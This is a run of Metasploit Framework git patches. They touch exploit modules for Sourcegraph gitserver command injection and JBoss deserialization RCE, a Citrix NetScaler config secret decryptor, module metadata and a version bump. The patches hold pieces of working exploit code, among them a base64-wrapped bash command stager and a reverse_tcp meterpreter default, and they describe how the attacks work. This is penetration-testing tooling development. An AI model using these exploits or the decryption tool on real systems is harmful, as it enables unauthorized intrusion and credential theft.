randomized return CheckCode::Vulnerable('Successfully set core.sshCommand.') + elsif res.code == 404 && res.body =~ /"cloneInProgress"/ + # this is the response if the target repo does not exist + return CheckCode::Vulnerable + elsif res.code == 400 && res.body =~ /^invalid command/ + # this is the response when the server is patched, regardless of if there are cloned repos + return CheckCode::Safe end - CheckCode::Safe('Failed to set core.sshCommand.') + CheckCode::Unknown end def exploit if datastore['EXISTING_REPO'].blank? @git_repo = send_request_list.sample + fail_with(Failure::NotFound, 'Did not identify any cloned repositories on the remote server.') unless @git_repo + print_status("Using automatically identified repository: #{@git_repo}") else @git_repo = datastore['EXISTING_REPO'] @@ -156,7 +156,13 @@ def execute_command(cmd, _opts = {}) vprint_status("Executing command: #{cmd}") res = send_request_exec(@git_repo, ['config', 'core.sshCommand', cmd]) fail_with(Failure::Unreachable, 'No server response.') unless res - fail_with(Failure::UnexpectedReply, 'The gitserver exec API call failed.') unless res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/ + unless res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/ + if res.code == 404 && res.get_json_document.is_a?(Hash) && res.get_json_document['cloneInProgress'] == false + fail_with(Failure::BadConfig, 'The specified repository has not been cloned.') + end + + fail_with(Failure::UnexpectedReply, 'The gitserver exec API call failed.') + end send_request_exec(@git_repo, ['push', @git_origin, 'master'], 5) end From 5337571bff502640ae7a53b57aedfea36c01d5e8 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Mon, 11 Jul 2022 10:09:24 -0500 Subject: [PATCH 63/79] update docs for Pro links Updates to provide links to previous semantic version of Metasploit Pro. --- docs/metasploit-framework.wiki/Downloads-by-Version.md | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/docs/metasploit-framework.wiki/Downloads-by-Version.md b/docs/metasploit-framework.wiki/Downloads-by-Version.md index 307cf6da9b1a..1a78d46dcc49 100644 --- a/docs/metasploit-framework.wiki/Downloads-by-Version.md +++ b/docs/metasploit-framework.wiki/Downloads-by-Version.md @@ -12,8 +12,10 @@ The pgp signatures below can be verified with the following [public key](https:/ |Download Link|File Type|SHA1|PGP| |-|-|-|-| -| [metasploit-4.21.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)| -| [metasploit-4.21.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc)| +| [metasploit-4.21.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)| +| [metasploit-4.21.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc)| +| [metasploit-4.21.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.asc)| +| [metasploit-4.21.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run.asc)| | [metasploit-4.20.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.asc)| | [metasploit-4.20.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run.asc)| | [metasploit-4.19.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe.asc)| From 44abcfcb288dd3a429c0e7deeb20e83b7e0adacd Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Tue, 12 Jul 2022 09:06:06 -0400 Subject: [PATCH 64/79] Added flavour to fix linux_dropper --- .../multi/misc/jboss_remoting_unified_invoker_rce.rb | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/modules/exploits/multi/misc/jboss_remoting_unified_invoker_rce.rb b/modules/exploits/multi/misc/jboss_remoting_unified_invoker_rce.rb index 9e937baddc43..d919c7a06983 100644 --- a/modules/exploits/multi/misc/jboss_remoting_unified_invoker_rce.rb +++ b/modules/exploits/multi/misc/jboss_remoting_unified_invoker_rce.rb @@ -52,6 +52,7 @@ def initialize(info = {}) 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, + 'CmdStagerFlavor' => [ 'printf' ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } @@ -93,9 +94,7 @@ def check # def exploit def execute_command(cmd, _opts = {}) - cmd_encapsulated = "bash -c {echo,#{Rex::Text.encode_base64(cmd)}}|{base64,-d}|bash" - java_payload = Msf::Util::JavaDeserialization.ysoserial_payload('CommonsCollections5', cmd_encapsulated, modified_type: 'none') - # java_payload = generate_java_deserialization_for_payload('CommonsCollections5', cmd) + java_payload = generate_java_deserialization_for_command('CommonsCollections5', 'bash', cmd) # MAGIC BYTES JBOSS PROTOCOL: # 0x77: TC_BLOCKDATA # 0x01: Length of TC_BLOCKDATA @@ -117,11 +116,10 @@ def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd - execute_command(payload.encoded) # Msf::Util::JavaDeserialization.ysoserial_payload - # execute_command(payload) # generate_java_deserialization_for_payload + execute_command(payload.encoded) when :linux_dropper execute_cmdstager end end -end +end \ No newline at end of file From 7df6d73741379552051356b693a4dc703a3c47b7 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Tue, 12 Jul 2022 09:08:19 -0400 Subject: [PATCH 65/79] Added new line to end of file --- .../exploits/multi/misc/jboss_remoting_unified_invoker_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/jboss_remoting_unified_invoker_rce.rb b/modules/exploits/multi/misc/jboss_remoting_unified_invoker_rce.rb index d919c7a06983..9325005952dc 100644 --- a/modules/exploits/multi/misc/jboss_remoting_unified_invoker_rce.rb +++ b/modules/exploits/multi/misc/jboss_remoting_unified_invoker_rce.rb @@ -122,4 +122,4 @@ def exploit end end -end \ No newline at end of file +end From a75a99de8923d9010a7f1ac74f022b2d92664b60 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Tue, 12 Jul 2022 10:13:27 -0500 Subject: [PATCH 66/79] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 53 +++++++++++++++++++++++++++++++++++ 1 file changed, 53 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index fbbd7b80c48b..c9a07871d2d0 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -95409,6 +95409,59 @@ "session_types": false, "needs_cleanup": null }, + "exploit_multi/misc/jboss_remoting_unified_invoker_rce": { + "name": "JBOSS EAP/AS Remoting Unified Invoker RCE", + "fullname": "exploit/multi/misc/jboss_remoting_unified_invoker_rce", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2019-12-11", + "type": "exploit", + "author": [ + "Joao Matos <@joaomatosf>", + "Marcio Almeida <@marcioalm>", + "Heyder Andrade <@HeyderAndrade>" + ], + "description": "An unauthenticated attacker with network access to the JBOSS\n EAP/AS <= 6.x Remoting Unified Invoker interface can send a\n serialized object to the interface to execute code on vulnerable hosts.", + "references": [ + "URL-https://s3.amazonaws.com/files.joaomatosf.com/slides/alligator_slides.pdf" + ], + "platform": "Linux,Unix", + "arch": "cmd, x86, x64", + "rport": 4446, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Unix Command", + "Linux Dropper" + ], + "mod_time": "2022-07-12 09:08:19 +0000", + "path": "/modules/exploits/multi/misc/jboss_remoting_unified_invoker_rce.rb", + "is_install_path": true, + "ref_name": "multi/misc/jboss_remoting_unified_invoker_rce", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_multi/misc/legend_bot_exec": { "name": "Legend Perl IRC Bot Remote Code Execution", "fullname": "exploit/multi/misc/legend_bot_exec", From 88c2d8148c05056a71998071bef6892e5b91be2b Mon Sep 17 00:00:00 2001 From: Metasploit Date: Tue, 12 Jul 2022 11:49:08 -0500 Subject: [PATCH 67/79] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index c9a07871d2d0..0f0e18fe5bc3 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -81928,7 +81928,7 @@ "Daniil Dmitriev", "Dmitry (rrock) Shchannikov" ], - "description": "Widget Connector Macro is part of Atlassian Confluence Server and Data Center that\n allows embed online videos, slideshows, photostreams and more directly into page.\n A _template parameter can be used to inject remote Java code into a Velocity template,\n and gain code execution. Authentication is unrequired to exploit this vulnerability.\n By default, Java payload will be used because it is cross-platform, but you can also\n specify which native payload you want (Linux or Windows).\n\n Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version\n 6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected.\n\n This vulnerability was originally discovered by Daniil Dmitriev\n https://twitter.com/ddv_ua.", + "description": "Widget Connector Macro is part of Atlassian Confluence Server and Data Center that\n allows embed online videos, slideshows, photostreams and more directly into page.\n A _template parameter can be used to inject remote Java code into a Velocity template,\n and gain code execution. Authentication is unrequired to exploit this vulnerability.\n By default, Java payload will be used because it is cross-platform, but you can also\n specify which native payload you want (Linux or Windows).\n\n Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version\n 6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected.\n\n This vulnerability was originally discovered by Daniil Dmitriev\n https://twitter.com/ddv_ua.", "references": [ "CVE-2019-3396", "URL-https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html", @@ -81958,7 +81958,7 @@ "Windows", "Linux" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2022-07-01 08:43:47 +0000", "path": "/modules/exploits/multi/http/confluence_widget_connector.rb", "is_install_path": true, "ref_name": "multi/http/confluence_widget_connector", @@ -81966,6 +81966,16 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk", + "ioc-in-logs" + ], + "Reliability": [ + "repeatable-session" + ] }, "session_types": false, "needs_cleanup": true From f18392adb151eaec78e249b986c77510da71446a Mon Sep 17 00:00:00 2001 From: Metasploit Date: Tue, 12 Jul 2022 15:52:00 -0500 Subject: [PATCH 68/79] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 0f0e18fe5bc3..dca1cac4fdea 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -90677,7 +90677,7 @@ "Windows Universal", "Linux Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2022-06-29 19:10:52 +0000", "path": "/modules/exploits/multi/http/struts_code_exec.rb", "is_install_path": true, "ref_name": "multi/http/struts_code_exec", @@ -90795,7 +90795,7 @@ "Linux Universal", "Java Universal" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2022-06-29 19:10:52 +0000", "path": "/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb", "is_install_path": true, "ref_name": "multi/http/struts_code_exec_exception_delegator", @@ -111596,7 +111596,7 @@ "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2022-06-29 19:10:52 +0000", "path": "/modules/exploits/windows/antivirus/ams_xfr.rb", "is_install_path": true, "ref_name": "windows/antivirus/ams_xfr", @@ -137270,7 +137270,7 @@ "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2022-06-29 19:10:52 +0000", "path": "/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb", "is_install_path": true, "ref_name": "windows/http/ca_totaldefense_regeneratereports", @@ -144023,7 +144023,7 @@ "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2022-06-29 19:10:52 +0000", "path": "/modules/exploits/windows/http/osb_uname_jlist.rb", "is_install_path": true, "ref_name": "windows/http/osb_uname_jlist", @@ -147222,7 +147222,7 @@ "targets": [ "Automatic" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2022-06-29 19:10:52 +0000", "path": "/modules/exploits/windows/iis/msadc.rb", "is_install_path": true, "ref_name": "windows/iis/msadc", @@ -154492,7 +154492,7 @@ "targets": [ "Windows 2003 (with tftp client available)" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2022-06-29 19:10:52 +0000", "path": "/modules/exploits/windows/misc/altiris_ds_sqli.rb", "is_install_path": true, "ref_name": "windows/misc/altiris_ds_sqli", @@ -159542,7 +159542,7 @@ "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2022-06-29 19:10:52 +0000", "path": "/modules/exploits/windows/mssql/mssql_payload.rb", "is_install_path": true, "ref_name": "windows/mssql/mssql_payload", From d227f0aaa23b0ed7eda9a4bb858a42bb78841e1c Mon Sep 17 00:00:00 2001 From: npm-cesium137-io <103898163+npm-cesium137-io@users.noreply.github.com> Date: Wed, 13 Jul 2022 07:56:12 -0400 Subject: [PATCH 69/79] Update modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb Co-authored-by: jheysel-r7 --- .../auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb b/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb index e6528e59880c..bb7be823b880 100644 --- a/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb +++ b/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb @@ -168,8 +168,8 @@ def parse_ns_config ciphertext_bytes = encrypted_entry.scan(/../).map(&:hex).pack('C*') else ciphertext_b64 = encrypted_entry.split(' ')[1].delete('"') - ciphertext_bytes = Base64.strict_decode64(ciphertext_b64) - # Still haven't grokked how -passcrypt works + # TODO Implement -passcrypt functionality + # ciphertext_bytes = Base64.strict_decode64(ciphertext_b64) print_warning('Not decrypting passcrypt entry:') print_warning("Ciphertext: #{ciphertext_b64}") next From 443920850c7c87fd03eee913765b3c6a22217991 Mon Sep 17 00:00:00 2001 From: npm-cesium137-io <103898163+npm-cesium137-io@users.noreply.github.com> Date: Wed, 13 Jul 2022 07:56:41 -0400 Subject: [PATCH 70/79] Update modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb Co-authored-by: jheysel-r7 --- .../auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb b/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb index bb7be823b880..15c03827130a 100644 --- a/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb +++ b/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb @@ -209,7 +209,7 @@ def parse_ns_config end def parse_username_from_config(line) - # Fugly but effective way to extract the principal name from a config line for loot storage + # Ugly but effective way to extract the principal name from a config line for loot storage [' user', 'userName', '-clientID', '-bindDN', '-ldapBindDn'].each do |user_param| next unless line.match?(/#{user_param} (.+)/) From 3f52cc80a259ef4b2d3a1ef2ff530c7f78a54207 Mon Sep 17 00:00:00 2001 From: npm-cesium137-io <103898163+npm-cesium137-io@users.noreply.github.com> Date: Wed, 13 Jul 2022 07:57:06 -0400 Subject: [PATCH 71/79] Update documentation/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.md Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com> --- .../admin/citrix/citrix_netscaler_config_decrypt.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/documentation/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.md b/documentation/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.md index 9736d96b0706..342c895e5388 100644 --- a/documentation/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.md +++ b/documentation/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.md @@ -49,19 +49,19 @@ relevant loot entries with the IPv4 address of the originating system. If no val 7. Do: `dump` ## Options -**NS_CONF** +### NS_CONF Path to the NetScaler configuration file on the local system. Example: `/tmp/ns.conf` -**NS_KEK_F1** +### NS_KEK_F1 Path to the first of two NS KEK fragments, if decrypting NS KEK. Example: `/tmp/F1.key` -**NS_KEK_F2** +### NS_KEK_F2 Path to the second of two NS KEK fragments, if decrypting NS KEK. Example: `/tmp/F2.key` -**NS_IP** +### NS_IP Optional parameter to set the IPv4 address associated with loot entries made by the module. From 9a6013b153cf9afa4f22af6cb7243f06364bb75c Mon Sep 17 00:00:00 2001 From: npm-cesium137-io Date: Wed, 13 Jul 2022 08:36:18 -0400 Subject: [PATCH 72/79] citrix_netscaler_config_decrypt refinements Refactor error handling when composing KEK fragments to be more streamlined. Various tweaks and optimizations. Updates to documentatation. --- .../citrix/citrix_netscaler_config_decrypt.md | 2 +- .../citrix/citrix_netscaler_config_decrypt.rb | 29 ++++++++----------- 2 files changed, 13 insertions(+), 18 deletions(-) diff --git a/documentation/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.md b/documentation/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.md index 342c895e5388..7a86300c7cf5 100644 --- a/documentation/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.md +++ b/documentation/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.md @@ -209,4 +209,4 @@ add lb monitor mon-radius RADIUS -respCode 2 -userName ldap -password fda3a1c599 [+] Pass: Gr33n3gg$ [*] Auxiliary module execution completed msf6 auxiliary(admin/citrix/citrix_netscaler_config_decrypt) > -``` \ No newline at end of file +``` diff --git a/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb b/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb index 15c03827130a..d80d81e60ea3 100644 --- a/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb +++ b/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb @@ -97,9 +97,7 @@ def ns90_aeskey def run if ns_kek_f1 && ns_kek_f2 print_status('Building NetScaler KEK from key fragments ...') - unless build_ns_kek - fail_with(Msf::Exploit::Failure::NoTarget, 'Unable to build NetScaler KEK from key fragments') - end + build_ns_kek end parse_ns_config end @@ -109,13 +107,15 @@ def build_ns_kek print_error('KEK files must be 256 bytes in size') return false end - f1_hex = File.read(ns_kek_f1) - f2_hex = File.read(ns_kek_f2) - f1_hex&.encode('UTF-8', 'binary') - f2_hex&.encode('UTF-8', 'binary') - unless f1_hex.match?(/^[0-9a-f]+$/i) && f2_hex.match?(/^[0-9a-f]+$/i) - print_error('NS KEK files must be hexadecimal format') - return false + f1_hex = File.binread(ns_kek_f1) + f2_hex = File.binread(ns_kek_f2) + unless f1_hex.match?(/^[0-9a-f]+$/i) + print_error('Provided F1.key is not valid hexidecimal data') + raise Msf::OptionValidateError, ['NS_KEK_F1'] + end + unless f2_hex.match?(/^[0-9a-f]+$/i) + print_error('Provided F2.key is not valid hexidecimal data') + raise Msf::OptionValidateError, ['NS_KEK_F2'] end f1_key = f1_hex[66..130].scan(/../).map(&:hex).pack('C*') f2_key = f2_hex[70..134].scan(/../).map(&:hex).pack('C*') @@ -130,12 +130,6 @@ def build_ns_kek print_good('Assembled NS KEK AES key') print_good("\t HEX: #{@ns_kek_key_hex}\n") true - rescue Encoding::UndefinedConversionError - print_error('Invalid NS KEK files provided: invalid UTF-8 data') - return false - rescue StandardError => e - print_error("#{__method__}: #{e.message}") - return false end def parse_ns_config @@ -168,7 +162,7 @@ def parse_ns_config ciphertext_bytes = encrypted_entry.scan(/../).map(&:hex).pack('C*') else ciphertext_b64 = encrypted_entry.split(' ')[1].delete('"') - # TODO Implement -passcrypt functionality + # TODO: Implement -passcrypt functionality # ciphertext_bytes = Base64.strict_decode64(ciphertext_b64) print_warning('Not decrypting passcrypt entry:') print_warning("Ciphertext: #{ciphertext_b64}") @@ -210,6 +204,7 @@ def parse_ns_config def parse_username_from_config(line) # Ugly but effective way to extract the principal name from a config line for loot storage + # The whitespace prefixed to ' user' is intentional so that it does not clobber other parameters with 'user' in the pattern [' user', 'userName', '-clientID', '-bindDN', '-ldapBindDn'].each do |user_param| next unless line.match?(/#{user_param} (.+)/) From b596a2f59cfc739ce4d3f719293c3d46e74670c4 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Wed, 13 Jul 2022 09:37:15 -0500 Subject: [PATCH 73/79] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 64 +++++++++++++++++++++++++++++++++++ 1 file changed, 64 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index dca1cac4fdea..e9c2cb2fc7f7 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -66753,6 +66753,70 @@ "session_types": false, "needs_cleanup": null }, + "exploit_linux/http/sourcegraph_gitserver_sshcmd": { + "name": "Sourcegraph gitserver sshCommand RCE", + "fullname": "exploit/linux/http/sourcegraph_gitserver_sshcmd", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2022-02-18", + "type": "exploit", + "author": [ + "Altelus1", + "Spencer McIntyre" + ], + "description": "A vulnerability exists within Sourcegraph's gitserver component that allows a remote attacker to execute\n arbitrary OS commands by modifying the core.sshCommand value within the git configuration. This command can\n then be triggered on demand by executing a git push operation. The vulnerability was patched by introducing a\n feature flag in version 3.37.0. This flag must be enabled for the protections to be in place which filter the\n commands that are able to be executed through the git exec REST API.", + "references": [ + "CVE-2022-23642", + "URL-https://github.com/sourcegraph/sourcegraph/security/advisories/GHSA-qcmp-fx72-q8q9", + "URL-https://github.com/Altelus1/CVE-2022-23642" + ], + "platform": "Linux,Unix", + "arch": "cmd, x86, x64", + "rport": 3178, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Automatic", + "Unix Command", + "Linux Dropper" + ], + "mod_time": "2022-07-11 09:48:08 +0000", + "path": "/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb", + "is_install_path": true, + "ref_name": "linux/http/sourcegraph_gitserver_sshcmd", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_linux/http/spark_unauth_rce": { "name": "Apache Spark Unauthenticated Command Execution", "fullname": "exploit/linux/http/spark_unauth_rce", From d8cc88a8cd02719720955f8f2efd344a80f6ed0a Mon Sep 17 00:00:00 2001 From: Metasploit Date: Wed, 13 Jul 2022 11:42:20 -0500 Subject: [PATCH 74/79] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 48 +++++++++++++++++++++++++++++++++++ 1 file changed, 48 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index e9c2cb2fc7f7..e906936964d5 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -447,6 +447,54 @@ "session_types": false, "needs_cleanup": false }, + "auxiliary_admin/citrix/citrix_netscaler_config_decrypt": { + "name": "Decrypt Citrix NetScaler Config Secrets", + "fullname": "auxiliary/admin/citrix/citrix_netscaler_config_decrypt", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": "2022-05-19", + "type": "auxiliary", + "author": [ + "npm " + ], + "description": "This module takes a Citrix NetScaler ns.conf configuration file as\n input and extracts secrets that have been stored with reversible\n encryption. The module supports legacy NetScaler encryption (RC4)\n as well as the newer AES-256-ECB and AES-256-CBC encryption types.\n It is also possible to decrypt secrets protected by the Key\n Encryption Key (KEK) method, provided the key fragment files F1.key\n and F2.key are provided.", + "references": [ + "URL-https://dozer.nz/posts/citrix-decrypt/", + "URL-https://www.ferroquesystems.com/resource/citrix-adc-security-kek-files/" + ], + "platform": "BSD", + "arch": "", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": null, + "mod_time": "2022-07-03 08:21:58 +0000", + "path": "/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb", + "is_install_path": true, + "ref_name": "admin/citrix/citrix_netscaler_config_decrypt", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "artifacts-on-disk" + ] + }, + "session_types": false, + "needs_cleanup": false + }, "auxiliary_admin/db2/db2rcmd": { "name": "IBM DB2 db2rcmd.exe Command Execution Vulnerability", "fullname": "auxiliary/admin/db2/db2rcmd", From 346cbc287f08bf63474df2704f9e63b107e73433 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Wed, 13 Jul 2022 13:23:11 -0500 Subject: [PATCH 75/79] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index e906936964d5..1414e5ea3be3 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -474,7 +474,7 @@ ], "targets": null, - "mod_time": "2022-07-03 08:21:58 +0000", + "mod_time": "2022-07-13 08:36:18 +0000", "path": "/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb", "is_install_path": true, "ref_name": "admin/citrix/citrix_netscaler_config_decrypt", From 1103f525a676beb321a8f258edcbc3b6322735cf Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Thu, 14 Jul 2022 12:05:01 +0100 Subject: [PATCH 76/79] Stop msfconsole crashing with openssl3 --- lib/msf/core/handler/reverse_ssh.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/handler/reverse_ssh.rb b/lib/msf/core/handler/reverse_ssh.rb index 9917ad4460c7..cf2b1bc47280 100644 --- a/lib/msf/core/handler/reverse_ssh.rb +++ b/lib/msf/core/handler/reverse_ssh.rb @@ -145,8 +145,12 @@ def wfs_delay def default_version_string require 'rex/proto/ssh/connection' Rex::Proto::Ssh::Connection.default_options['local_version'] + rescue OpenSSL::Cipher::CipherError => e + print_error("ReverseSSH handler did not load with OpenSSL version #{OpenSSL::VERSION}") + elog(e) + 'SSH-2.0-OpenSSH_5.3p1' rescue LoadError => e - print_error("This handler requires PTY access not available on all platforms.") + print_error('ReverseSSH handler did not load as PTY access is not available on all platforms.') elog(e) 'SSH-2.0-OpenSSH_5.3p1' end From fde4d4ae22cd0c4036fc9ba9c709b85fa03e582b Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 14 Jul 2022 12:09:54 -0500 Subject: [PATCH 77/79] Bump version of framework to 6.2.8 --- Gemfile.lock | 2 +- LICENSE_GEMS | 2 +- lib/metasploit/framework/version.rb | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 811996371db0..12f465d2838a 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 